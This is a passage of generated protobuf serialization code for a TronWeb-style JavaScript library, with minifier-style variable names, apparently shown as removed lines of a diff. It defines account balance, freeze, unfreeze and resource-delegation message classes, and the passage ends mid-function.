- TronWebProto.BlockBalanceTrace.prototype.addTransactionBalanceTrace = function (_0x201508, _0x3ee17a) {
- return _0x245757.Message.addToRepeatedWrapperField(this, 3, _0x201508, TronWebProto.TransactionBalanceTrace, _0x3ee17a);
- };
- TronWebProto.BlockBalanceTrace.prototype.clearTransactionBalanceTraceList = function () {
- return this.setTransactionBalanceTraceList([]);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountTrace.prototype.toObject = function (_0x58c87e) {
- return TronWebProto.AccountTrace.toObject(_0x58c87e, this);
- }, TronWebProto.AccountTrace.toObject = function (_0x19959d, _0x1782f6) {
- var _0x425d69 = {
- balance: _0x245757.Message.getFieldWithDefault(_0x1782f6, 1, 0),
- placeholder: _0x245757.Message.getFieldWithDefault(_0x1782f6, 99, 0)
- };
- _0x19959d && (_0x425d69.$jspbMessageInstance = _0x1782f6);
- return _0x425d69;
- });
- TronWebProto.AccountTrace.deserializeBinary = function (_0x216222) {
- var _0x15b3b2 = new _0x245757.BinaryReader(_0x216222);
- var _0x39fdba = new TronWebProto.AccountTrace();
- return TronWebProto.AccountTrace.deserializeBinaryFromReader(_0x39fdba, _0x15b3b2);
- };
- TronWebProto.AccountTrace.deserializeBinaryFromReader = function (_0x90493a, _0x2443b1) {
- for (; _0x2443b1.nextField() && !_0x2443b1.isEndGroup();) {
- switch (_0x2443b1.getFieldNumber()) {
- case 1:
- var _0x4f478d = _0x2443b1.readInt64();
- _0x90493a.setBalance(_0x4f478d);
- break;
- case 99:
- _0x4f478d = _0x2443b1.readInt64();
- _0x90493a.setPlaceholder(_0x4f478d);
- break;
- default:
- _0x2443b1.skipField();
- }
- }
- return _0x90493a;
- };
- TronWebProto.AccountTrace.prototype.serializeBinary = function () {
- var _0x2c6790 = new _0x245757.BinaryWriter();
- TronWebProto.AccountTrace.serializeBinaryToWriter(this, _0x2c6790);
- return _0x2c6790.getResultBuffer();
- };
- TronWebProto.AccountTrace.serializeBinaryToWriter = function (_0xf8f15d, _0x5e6207) {
- var _0x2e053b = undefined;
- 0 !== (_0x2e053b = _0xf8f15d.getBalance()) && _0x5e6207.writeInt64(1, _0x2e053b);
- 0 !== (_0x2e053b = _0xf8f15d.getPlaceholder()) && _0x5e6207.writeInt64(99, _0x2e053b);
- };
- TronWebProto.AccountTrace.prototype.getBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.AccountTrace.prototype.setBalance = function (_0x43c4b7) {
- return _0x245757.Message.setProto3IntField(this, 1, _0x43c4b7);
- };
- TronWebProto.AccountTrace.prototype.getPlaceholder = function () {
- return _0x245757.Message.getFieldWithDefault(this, 99, 0);
- };
- TronWebProto.AccountTrace.prototype.setPlaceholder = function (_0x52e87c) {
- return _0x245757.Message.setProto3IntField(this, 99, _0x52e87c);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountIdentifier.prototype.toObject = function (_0x5ad73a) {
- return TronWebProto.AccountIdentifier.toObject(_0x5ad73a, this);
- }, TronWebProto.AccountIdentifier.toObject = function (_0x1ccce5, _0x162536) {
- var _0x2c8987 = {
- address: _0x162536.getAddress_asB64()
- };
- _0x1ccce5 && (_0x2c8987.$jspbMessageInstance = _0x162536);
- return _0x2c8987;
- });
- TronWebProto.AccountIdentifier.deserializeBinary = function (_0x4ba4e8) {
- var _0x16acfd = new _0x245757.BinaryReader(_0x4ba4e8);
- var _0x44cd3f = new TronWebProto.AccountIdentifier();
- return TronWebProto.AccountIdentifier.deserializeBinaryFromReader(_0x44cd3f, _0x16acfd);
- };
- TronWebProto.AccountIdentifier.deserializeBinaryFromReader = function (_0x59f110, _0x1a27a) {
- for (; _0x1a27a.nextField() && !_0x1a27a.isEndGroup();) {
- if (1 === _0x1a27a.getFieldNumber()) {
- var _0x29b578 = _0x1a27a.readBytes();
- _0x59f110.setAddress(_0x29b578);
- } else {
- _0x1a27a.skipField();
- }
- }
- return _0x59f110;
- };
- TronWebProto.AccountIdentifier.prototype.serializeBinary = function () {
- var _0x33bd50 = new _0x245757.BinaryWriter();
- TronWebProto.AccountIdentifier.serializeBinaryToWriter(this, _0x33bd50);
- return _0x33bd50.getResultBuffer();
- };
- TronWebProto.AccountIdentifier.serializeBinaryToWriter = function (_0xeba18a, _0x56043e) {
- var _0x1b78a9;
- (_0x1b78a9 = _0xeba18a.getAddress_asU8()).length > 0 && _0x56043e.writeBytes(1, _0x1b78a9);
- };
- TronWebProto.AccountIdentifier.prototype.getAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AccountIdentifier.prototype.getAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.AccountIdentifier.prototype.getAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.AccountIdentifier.prototype.setAddress = function (_0x5f2f64) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x5f2f64);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountBalanceRequest.prototype.toObject = function (_0x570c47) {
- return TronWebProto.AccountBalanceRequest.toObject(_0x570c47, this);
- }, TronWebProto.AccountBalanceRequest.toObject = function (_0x2250dd, _0x2a84d6) {
- var _0x704e46;
- var _0xf36088 = {
- accountIdentifier: (_0x704e46 = _0x2a84d6.getAccountIdentifier()) && TronWebProto.AccountIdentifier.toObject(_0x2250dd, _0x704e46),
- blockIdentifier: (_0x704e46 = _0x2a84d6.getBlockIdentifier()) && TronWebProto.BlockBalanceTrace.BlockIdentifier.toObject(_0x2250dd, _0x704e46)
- };
- _0x2250dd && (_0xf36088.$jspbMessageInstance = _0x2a84d6);
- return _0xf36088;
- });
- TronWebProto.AccountBalanceRequest.deserializeBinary = function (_0x43f898) {
- var _0x5be64d = new _0x245757.BinaryReader(_0x43f898);
- var _0x3d383b = new TronWebProto.AccountBalanceRequest();
- return TronWebProto.AccountBalanceRequest.deserializeBinaryFromReader(_0x3d383b, _0x5be64d);
- };
- TronWebProto.AccountBalanceRequest.deserializeBinaryFromReader = function (_0x1fc9ad, _0x4753fc) {
- for (; _0x4753fc.nextField() && !_0x4753fc.isEndGroup();) {
- switch (_0x4753fc.getFieldNumber()) {
- case 1:
- var _0x1fa2c0 = new TronWebProto.AccountIdentifier();
- _0x4753fc.readMessage(_0x1fa2c0, TronWebProto.AccountIdentifier.deserializeBinaryFromReader);
- _0x1fc9ad.setAccountIdentifier(_0x1fa2c0);
- break;
- case 2:
- _0x1fa2c0 = new TronWebProto.BlockBalanceTrace.BlockIdentifier();
- _0x4753fc.readMessage(_0x1fa2c0, TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinaryFromReader);
- _0x1fc9ad.setBlockIdentifier(_0x1fa2c0);
- break;
- default:
- _0x4753fc.skipField();
- }
- }
- return _0x1fc9ad;
- };
- TronWebProto.AccountBalanceRequest.prototype.serializeBinary = function () {
- var _0xde0618 = new _0x245757.BinaryWriter();
- TronWebProto.AccountBalanceRequest.serializeBinaryToWriter(this, _0xde0618);
- return _0xde0618.getResultBuffer();
- };
- TronWebProto.AccountBalanceRequest.serializeBinaryToWriter = function (_0x4e2e75, _0x1a2f81) {
- var _0x5525fc = undefined;
- null != (_0x5525fc = _0x4e2e75.getAccountIdentifier()) && _0x1a2f81.writeMessage(1, _0x5525fc, TronWebProto.AccountIdentifier.serializeBinaryToWriter);
- null != (_0x5525fc = _0x4e2e75.getBlockIdentifier()) && _0x1a2f81.writeMessage(2, _0x5525fc, TronWebProto.BlockBalanceTrace.BlockIdentifier.serializeBinaryToWriter);
- };
- TronWebProto.AccountBalanceRequest.prototype.getAccountIdentifier = function () {
- return _0x245757.Message.getWrapperField(this, TronWebProto.AccountIdentifier, 1);
- };
- TronWebProto.AccountBalanceRequest.prototype.setAccountIdentifier = function (_0x41046a) {
- return _0x245757.Message.setWrapperField(this, 1, _0x41046a);
- };
- TronWebProto.AccountBalanceRequest.prototype.clearAccountIdentifier = function () {
- return this.setAccountIdentifier(undefined);
- };
- TronWebProto.AccountBalanceRequest.prototype.hasAccountIdentifier = function () {
- return null != _0x245757.Message.getField(this, 1);
- };
- TronWebProto.AccountBalanceRequest.prototype.getBlockIdentifier = function () {
- return _0x245757.Message.getWrapperField(this, TronWebProto.BlockBalanceTrace.BlockIdentifier, 2);
- };
- TronWebProto.AccountBalanceRequest.prototype.setBlockIdentifier = function (_0x209065) {
- return _0x245757.Message.setWrapperField(this, 2, _0x209065);
- };
- TronWebProto.AccountBalanceRequest.prototype.clearBlockIdentifier = function () {
- return this.setBlockIdentifier(undefined);
- };
- TronWebProto.AccountBalanceRequest.prototype.hasBlockIdentifier = function () {
- return null != _0x245757.Message.getField(this, 2);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountBalanceResponse.prototype.toObject = function (_0x3df6dd) {
- return TronWebProto.AccountBalanceResponse.toObject(_0x3df6dd, this);
- }, TronWebProto.AccountBalanceResponse.toObject = function (_0x48191c, _0x899169) {
- var _0x1299bb;
- var _0x273ca6 = {
- balance: _0x245757.Message.getFieldWithDefault(_0x899169, 1, 0),
- blockIdentifier: (_0x1299bb = _0x899169.getBlockIdentifier()) && TronWebProto.BlockBalanceTrace.BlockIdentifier.toObject(_0x48191c, _0x1299bb)
- };
- _0x48191c && (_0x273ca6.$jspbMessageInstance = _0x899169);
- return _0x273ca6;
- });
- TronWebProto.AccountBalanceResponse.deserializeBinary = function (_0x56e08b) {
- var _0x324fa8 = new _0x245757.BinaryReader(_0x56e08b);
- var _0x4da5f2 = new TronWebProto.AccountBalanceResponse();
- return TronWebProto.AccountBalanceResponse.deserializeBinaryFromReader(_0x4da5f2, _0x324fa8);
- };
- TronWebProto.AccountBalanceResponse.deserializeBinaryFromReader = function (_0xbe9ef1, _0x466269) {
- for (; _0x466269.nextField() && !_0x466269.isEndGroup();) {
- switch (_0x466269.getFieldNumber()) {
- case 1:
- var _0x52b0cb = _0x466269.readInt64();
- _0xbe9ef1.setBalance(_0x52b0cb);
- break;
- case 2:
- _0x52b0cb = new TronWebProto.BlockBalanceTrace.BlockIdentifier();
- _0x466269.readMessage(_0x52b0cb, TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinaryFromReader);
- _0xbe9ef1.setBlockIdentifier(_0x52b0cb);
- break;
- default:
- _0x466269.skipField();
- }
- }
- return _0xbe9ef1;
- };
- TronWebProto.AccountBalanceResponse.prototype.serializeBinary = function () {
- var _0x34172f = new _0x245757.BinaryWriter();
- TronWebProto.AccountBalanceResponse.serializeBinaryToWriter(this, _0x34172f);
- return _0x34172f.getResultBuffer();
- };
- TronWebProto.AccountBalanceResponse.serializeBinaryToWriter = function (_0x35b6b2, _0x15af3c) {
- var _0x5a092c = undefined;
- 0 !== (_0x5a092c = _0x35b6b2.getBalance()) && _0x15af3c.writeInt64(1, _0x5a092c);
- null != (_0x5a092c = _0x35b6b2.getBlockIdentifier()) && _0x15af3c.writeMessage(2, _0x5a092c, TronWebProto.BlockBalanceTrace.BlockIdentifier.serializeBinaryToWriter);
- };
- TronWebProto.AccountBalanceResponse.prototype.getBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.AccountBalanceResponse.prototype.setBalance = function (_0x3e80f8) {
- return _0x245757.Message.setProto3IntField(this, 1, _0x3e80f8);
- };
- TronWebProto.AccountBalanceResponse.prototype.getBlockIdentifier = function () {
- return _0x245757.Message.getWrapperField(this, TronWebProto.BlockBalanceTrace.BlockIdentifier, 2);
- };
- TronWebProto.AccountBalanceResponse.prototype.setBlockIdentifier = function (_0x2fc164) {
- return _0x245757.Message.setWrapperField(this, 2, _0x2fc164);
- };
- TronWebProto.AccountBalanceResponse.prototype.clearBlockIdentifier = function () {
- return this.setBlockIdentifier(undefined);
- };
- TronWebProto.AccountBalanceResponse.prototype.hasBlockIdentifier = function () {
- return null != _0x245757.Message.getField(this, 2);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.FreezeBalanceV2Contract.prototype.toObject = function (_0x5686a3) {
- return TronWebProto.FreezeBalanceV2Contract.toObject(_0x5686a3, this);
- }, TronWebProto.FreezeBalanceV2Contract.toObject = function (_0x24da5d, _0x1754a8) {
- var _0xf9e7d2 = {
- ownerAddress: _0x1754a8.getOwnerAddress_asB64(),
- frozenBalance: _0x245757.Message.getFieldWithDefault(_0x1754a8, 2, 0),
- resource: _0x245757.Message.getFieldWithDefault(_0x1754a8, 3, 0)
- };
- _0x24da5d && (_0xf9e7d2.$jspbMessageInstance = _0x1754a8);
- return _0xf9e7d2;
- });
- TronWebProto.FreezeBalanceV2Contract.deserializeBinary = function (_0x3da58f) {
- var _0x3f302a = new _0x245757.BinaryReader(_0x3da58f);
- var _0x5769f2 = new TronWebProto.FreezeBalanceV2Contract();
- return TronWebProto.FreezeBalanceV2Contract.deserializeBinaryFromReader(_0x5769f2, _0x3f302a);
- };
- TronWebProto.FreezeBalanceV2Contract.deserializeBinaryFromReader = function (_0x22c8b5, _0x121ea2) {
- for (; _0x121ea2.nextField() && !_0x121ea2.isEndGroup();) {
- switch (_0x121ea2.getFieldNumber()) {
- case 1:
- var _0x1cec37 = _0x121ea2.readBytes();
- _0x22c8b5.setOwnerAddress(_0x1cec37);
- break;
- case 2:
- _0x1cec37 = _0x121ea2.readInt64();
- _0x22c8b5.setFrozenBalance(_0x1cec37);
- break;
- case 3:
- _0x1cec37 = _0x121ea2.readEnum();
- _0x22c8b5.setResource(_0x1cec37);
- break;
- default:
- _0x121ea2.skipField();
- }
- }
- return _0x22c8b5;
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.serializeBinary = function () {
- var _0x1fddb2 = new _0x245757.BinaryWriter();
- TronWebProto.FreezeBalanceV2Contract.serializeBinaryToWriter(this, _0x1fddb2);
- return _0x1fddb2.getResultBuffer();
- };
- TronWebProto.FreezeBalanceV2Contract.serializeBinaryToWriter = function (_0x52fcea, _0x332a8d) {
- var _0x30fc06 = undefined;
- (_0x30fc06 = _0x52fcea.getOwnerAddress_asU8()).length > 0 && _0x332a8d.writeBytes(1, _0x30fc06);
- 0 !== (_0x30fc06 = _0x52fcea.getFrozenBalance()) && _0x332a8d.writeInt64(2, _0x30fc06);
- 0 !== (_0x30fc06 = _0x52fcea.getResource()) && _0x332a8d.writeEnum(3, _0x30fc06);
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.setOwnerAddress = function (_0x1ea28d) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x1ea28d);
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.getFrozenBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.setFrozenBalance = function (_0x2aa771) {
- return _0x245757.Message.setProto3IntField(this, 2, _0x2aa771);
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.FreezeBalanceV2Contract.prototype.setResource = function (_0x4532fc) {
- return _0x245757.Message.setProto3EnumField(this, 3, _0x4532fc);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.UnfreezeBalanceV2Contract.prototype.toObject = function (_0x2de00a) {
- return TronWebProto.UnfreezeBalanceV2Contract.toObject(_0x2de00a, this);
- }, TronWebProto.UnfreezeBalanceV2Contract.toObject = function (_0x5e0a5b, _0x17436e) {
- var _0x1665a6 = {
- ownerAddress: _0x17436e.getOwnerAddress_asB64(),
- unfreezeBalance: _0x245757.Message.getFieldWithDefault(_0x17436e, 2, 0),
- resource: _0x245757.Message.getFieldWithDefault(_0x17436e, 3, 0)
- };
- _0x5e0a5b && (_0x1665a6.$jspbMessageInstance = _0x17436e);
- return _0x1665a6;
- });
- TronWebProto.UnfreezeBalanceV2Contract.deserializeBinary = function (_0x5950ac) {
- var _0x548d17 = new _0x245757.BinaryReader(_0x5950ac);
- var _0x3f9a50 = new TronWebProto.UnfreezeBalanceV2Contract();
- return TronWebProto.UnfreezeBalanceV2Contract.deserializeBinaryFromReader(_0x3f9a50, _0x548d17);
- };
- TronWebProto.UnfreezeBalanceV2Contract.deserializeBinaryFromReader = function (_0x485a26, _0x5b24bf) {
- for (; _0x5b24bf.nextField() && !_0x5b24bf.isEndGroup();) {
- switch (_0x5b24bf.getFieldNumber()) {
- case 1:
- var _0x5e0886 = _0x5b24bf.readBytes();
- _0x485a26.setOwnerAddress(_0x5e0886);
- break;
- case 2:
- _0x5e0886 = _0x5b24bf.readInt64();
- _0x485a26.setUnfreezeBalance(_0x5e0886);
- break;
- case 3:
- _0x5e0886 = _0x5b24bf.readEnum();
- _0x485a26.setResource(_0x5e0886);
- break;
- default:
- _0x5b24bf.skipField();
- }
- }
- return _0x485a26;
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.serializeBinary = function () {
- var _0x5d7ae4 = new _0x245757.BinaryWriter();
- TronWebProto.UnfreezeBalanceV2Contract.serializeBinaryToWriter(this, _0x5d7ae4);
- return _0x5d7ae4.getResultBuffer();
- };
- TronWebProto.UnfreezeBalanceV2Contract.serializeBinaryToWriter = function (_0x3caf6a, _0xb4cce9) {
- var _0x4c6c11 = undefined;
- (_0x4c6c11 = _0x3caf6a.getOwnerAddress_asU8()).length > 0 && _0xb4cce9.writeBytes(1, _0x4c6c11);
- 0 !== (_0x4c6c11 = _0x3caf6a.getUnfreezeBalance()) && _0xb4cce9.writeInt64(2, _0x4c6c11);
- 0 !== (_0x4c6c11 = _0x3caf6a.getResource()) && _0xb4cce9.writeEnum(3, _0x4c6c11);
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.setOwnerAddress = function (_0x4c0a95) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x4c0a95);
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.getUnfreezeBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.setUnfreezeBalance = function (_0x55e1c8) {
- return _0x245757.Message.setProto3IntField(this, 2, _0x55e1c8);
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.UnfreezeBalanceV2Contract.prototype.setResource = function (_0x547275) {
- return _0x245757.Message.setProto3EnumField(this, 3, _0x547275);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.WithdrawExpireUnfreezeContract.prototype.toObject = function (_0x505f97) {
- return TronWebProto.WithdrawExpireUnfreezeContract.toObject(_0x505f97, this);
- }, TronWebProto.WithdrawExpireUnfreezeContract.toObject = function (_0x167ef4, _0x865d4c) {
- var _0x4512a5 = {
- ownerAddress: _0x865d4c.getOwnerAddress_asB64()
- };
- _0x167ef4 && (_0x4512a5.$jspbMessageInstance = _0x865d4c);
- return _0x4512a5;
- });
- TronWebProto.WithdrawExpireUnfreezeContract.deserializeBinary = function (_0x90a69e) {
- var _0x34920b = new _0x245757.BinaryReader(_0x90a69e);
- var _0x16980e = new TronWebProto.WithdrawExpireUnfreezeContract();
- return TronWebProto.WithdrawExpireUnfreezeContract.deserializeBinaryFromReader(_0x16980e, _0x34920b);
- };
- TronWebProto.WithdrawExpireUnfreezeContract.deserializeBinaryFromReader = function (_0x5603e0, _0x47948f) {
- for (; _0x47948f.nextField() && !_0x47948f.isEndGroup();) {
- if (1 === _0x47948f.getFieldNumber()) {
- var _0x8584a = _0x47948f.readBytes();
- _0x5603e0.setOwnerAddress(_0x8584a);
- } else {
- _0x47948f.skipField();
- }
- }
- return _0x5603e0;
- };
- TronWebProto.WithdrawExpireUnfreezeContract.prototype.serializeBinary = function () {
- var _0x54a40b = new _0x245757.BinaryWriter();
- TronWebProto.WithdrawExpireUnfreezeContract.serializeBinaryToWriter(this, _0x54a40b);
- return _0x54a40b.getResultBuffer();
- };
- TronWebProto.WithdrawExpireUnfreezeContract.serializeBinaryToWriter = function (_0x2e0400, _0x444106) {
- var _0x253074;
- (_0x253074 = _0x2e0400.getOwnerAddress_asU8()).length > 0 && _0x444106.writeBytes(1, _0x253074);
- };
- TronWebProto.WithdrawExpireUnfreezeContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.WithdrawExpireUnfreezeContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.WithdrawExpireUnfreezeContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.WithdrawExpireUnfreezeContract.prototype.setOwnerAddress = function (_0x575427) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x575427);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.DelegateResourceContract.prototype.toObject = function (_0x2a9703) {
- return TronWebProto.DelegateResourceContract.toObject(_0x2a9703, this);
- }, TronWebProto.DelegateResourceContract.toObject = function (_0x501bb4, _0x50a4d2) {
- var _0x4cc2ac = {
- ownerAddress: _0x50a4d2.getOwnerAddress_asB64(),
- resource: _0x245757.Message.getFieldWithDefault(_0x50a4d2, 2, 0),
- balance: _0x245757.Message.getFieldWithDefault(_0x50a4d2, 3, 0),
- receiverAddress: _0x50a4d2.getReceiverAddress_asB64(),
- lock: _0x245757.Message.getBooleanFieldWithDefault(_0x50a4d2, 5, false),
- lockPeriod: _0x245757.Message.getFieldWithDefault(_0x50a4d2, 6, 0)
- };
- _0x501bb4 && (_0x4cc2ac.$jspbMessageInstance = _0x50a4d2);
- return _0x4cc2ac;
- });
- TronWebProto.DelegateResourceContract.deserializeBinary = function (_0x616b1d) {
- var _0x56873d = new _0x245757.BinaryReader(_0x616b1d);
- var _0x568314 = new TronWebProto.DelegateResourceContract();
- return TronWebProto.DelegateResourceContract.deserializeBinaryFromReader(_0x568314, _0x56873d);
- };
- TronWebProto.DelegateResourceContract.deserializeBinaryFromReader = function (_0x2f7b37, _0x3598fe) {
- for (; _0x3598fe.nextField() && !_0x3598fe.isEndGroup();) {
- switch (_0x3598fe.getFieldNumber()) {
- case 1:
- var _0x53e61a = _0x3598fe.readBytes();
- _0x2f7b37.setOwnerAddress(_0x53e61a);
- break;
- case 2:
- _0x53e61a = _0x3598fe.readEnum();
- _0x2f7b37.setResource(_0x53e61a);
- break;
- case 3:
- _0x53e61a = _0x3598fe.readInt64();
- _0x2f7b37.setBalance(_0x53e61a);
- break;
- case 4:
- _0x53e61a = _0x3598fe.readBytes();
- _0x2f7b37.setReceiverAddress(_0x53e61a);
- break;
- case 5:
- _0x53e61a = _0x3598fe.readBool();
- _0x2f7b37.setLock(_0x53e61a);
- break;
- case 6:
- _0x53e61a = _0x3598fe.readInt64();
- _0x2f7b37.setLockPeriod(_0x53e61a);
- break;
- default:
- _0x3598fe.skipField();
- }
- }
- return _0x2f7b37;
- };
- TronWebProto.DelegateResourceContract.prototype.serializeBinary = function () {
- var _0x339b4b = new _0x245757.BinaryWriter();
- TronWebProto.DelegateResourceContract.serializeBinaryToWriter(this, _0x339b4b);
- return _0x339b4b.getResultBuffer();
- };
- TronWebProto.DelegateResourceContract.serializeBinaryToWriter = function (_0x1165fb, _0x1b3b71) {
- var _0x36423a = undefined;
- (_0x36423a = _0x1165fb.getOwnerAddress_asU8()).length > 0 && _0x1b3b71.writeBytes(1, _0x36423a);
- 0 !== (_0x36423a = _0x1165fb.getResource()) && _0x1b3b71.writeEnum(2, _0x36423a);
- 0 !== (_0x36423a = _0x1165fb.getBalance()) && _0x1b3b71.writeInt64(3, _0x36423a);
- (_0x36423a = _0x1165fb.getReceiverAddress_asU8()).length > 0 && _0x1b3b71.writeBytes(4, _0x36423a);
- (_0x36423a = _0x1165fb.getLock()) && _0x1b3b71.writeBool(5, _0x36423a);
- 0 !== (_0x36423a = _0x1165fb.getLockPeriod()) && _0x1b3b71.writeInt64(6, _0x36423a);
- };
- TronWebProto.DelegateResourceContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.DelegateResourceContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.DelegateResourceContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.DelegateResourceContract.prototype.setOwnerAddress = function (_0x35badb) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x35badb);
- };
- TronWebProto.DelegateResourceContract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.DelegateResourceContract.prototype.setResource = function (_0x2f70ef) {
- return _0x245757.Message.setProto3EnumField(this, 2, _0x2f70ef);
- };
- TronWebProto.DelegateResourceContract.prototype.getBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.DelegateResourceContract.prototype.setBalance = function (_0x7d4202) {
- return _0x245757.Message.setProto3IntField(this, 3, _0x7d4202);
- };
- TronWebProto.DelegateResourceContract.prototype.getReceiverAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.DelegateResourceContract.prototype.getReceiverAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getReceiverAddress());
- };
- TronWebProto.DelegateResourceContract.prototype.getReceiverAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getReceiverAddress());
- };
- TronWebProto.DelegateResourceContract.prototype.setReceiverAddress = function (_0x1f6b36) {
- return _0x245757.Message.setProto3BytesField(this, 4, _0x1f6b36);
- };
- TronWebProto.DelegateResourceContract.prototype.getLock = function () {
- return _0x245757.Message.getBooleanFieldWithDefault(this, 5, false);
- };
- TronWebProto.DelegateResourceContract.prototype.setLock = function (_0x432761) {
- return _0x245757.Message.setProto3BooleanField(this, 5, _0x432761);
- };
- TronWebProto.DelegateResourceContract.prototype.getLockPeriod = function () {
- return _0x245757.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.DelegateResourceContract.prototype.setLockPeriod = function (_0x5ae40d) {
- return _0x245757.Message.setProto3IntField(this, 6, _0x5ae40d);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.UnDelegateResourceContract.prototype.toObject = function (_0x2666b6) {
- return TronWebProto.UnDelegateResourceContract.toObject(_0x2666b6, this);
- }, TronWebProto.UnDelegateResourceContract.toObject = function (_0x2b3bfa, _0x2dd0e0) {
- var _0x4427d1 = {
- ownerAddress: _0x2dd0e0.getOwnerAddress_asB64(),
- resource: _0x245757.Message.getFieldWithDefault(_0x2dd0e0, 2, 0),
- balance: _0x245757.Message.getFieldWithDefault(_0x2dd0e0, 3, 0),
- receiverAddress: _0x2dd0e0.getReceiverAddress_asB64()
- };
- _0x2b3bfa && (_0x4427d1.$jspbMessageInstance = _0x2dd0e0);
- return _0x4427d1;
- });
- TronWebProto.UnDelegateResourceContract.deserializeBinary = function (_0x1fb401) {
- var _0x2d2afb = new _0x245757.BinaryReader(_0x1fb401);
- var _0x38b518 = new TronWebProto.UnDelegateResourceContract();
- return TronWebProto.UnDelegateResourceContract.deserializeBinaryFromReader(_0x38b518, _0x2d2afb);
- };
- TronWebProto.UnDelegateResourceContract.deserializeBinaryFromReader = function (_0x387f40, _0x54bf09) {
- for (; _0x54bf09.nextField() && !_0x54bf09.isEndGroup();) {
- switch (_0x54bf09.getFieldNumber()) {
- case 1:
- var _0x5ee04d = _0x54bf09.readBytes();
- _0x387f40.setOwnerAddress(_0x5ee04d);
- break;
- case 2:
- _0x5ee04d = _0x54bf09.readEnum();
- _0x387f40.setResource(_0x5ee04d);
- break;
- case 3:
- _0x5ee04d = _0x54bf09.readInt64();
- _0x387f40.setBalance(_0x5ee04d);
- break;
- case 4:
- _0x5ee04d = _0x54bf09.readBytes();
- _0x387f40.setReceiverAddress(_0x5ee04d);
- break;
- default:
- _0x54bf09.skipField();
- }
- }
- return _0x387f40;
- };
- TronWebProto.UnDelegateResourceContract.prototype.serializeBinary = function () {
- var _0x251bdc = new _0x245757.BinaryWriter();
- TronWebProto.UnDelegateResourceContract.serializeBinaryToWriter(this, _0x251bdc);
- return _0x251bdc.getResultBuffer();
- };
- TronWebProto.UnDelegateResourceContract.serializeBinaryToWriter = function (_0xd66ba, _0xd5ea51) {
- var _0xea127c = undefined;
- (_0xea127c = _0xd66ba.getOwnerAddress_asU8()).length > 0 && _0xd5ea51.writeBytes(1, _0xea127c);
- 0 !== (_0xea127c = _0xd66ba.getResource()) && _0xd5ea51.writeEnum(2, _0xea127c);
